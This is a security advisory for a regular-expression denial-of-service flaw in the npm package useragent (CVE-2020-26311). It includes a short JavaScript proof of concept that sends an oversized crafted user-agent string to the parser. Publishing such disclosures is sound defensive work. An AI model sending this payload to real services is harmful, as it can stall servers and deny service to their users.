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GHSA-mgfv-m47x-4wqp

useragent Regular Expression Denial of Service vulnerability

Source: GitHub Advisory Database (reviewed) Moderate CVE-2020-26311

Packages

EcosystemPackageAffectedFixed in
npm useragent <= 2.3.0 no fix listed

Details

As written in the advisory (Markdown source, shown as plain text).

Useragent is a user agent parser for Node.js. All versions as of time of publication contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS). ## PoC ```js async function exploit() { const useragent = require(\"useragent\"); // Create a malicious user-agent that leads to excessive backtracking const maliciousUserAgent = 'Mozilla/5.0 (' + 'X'.repeat(30000) + ') Gecko/20100101 Firefox/77.0'; // Parse the malicious user-agent const agent = useragent.parse(maliciousUserAgent); // Call the toString method to trigger the vulnerability const result = await agent.device.toString(); console.log(result); } await exploit(); ```

References

External links from the advisory. They lead to third-party sites.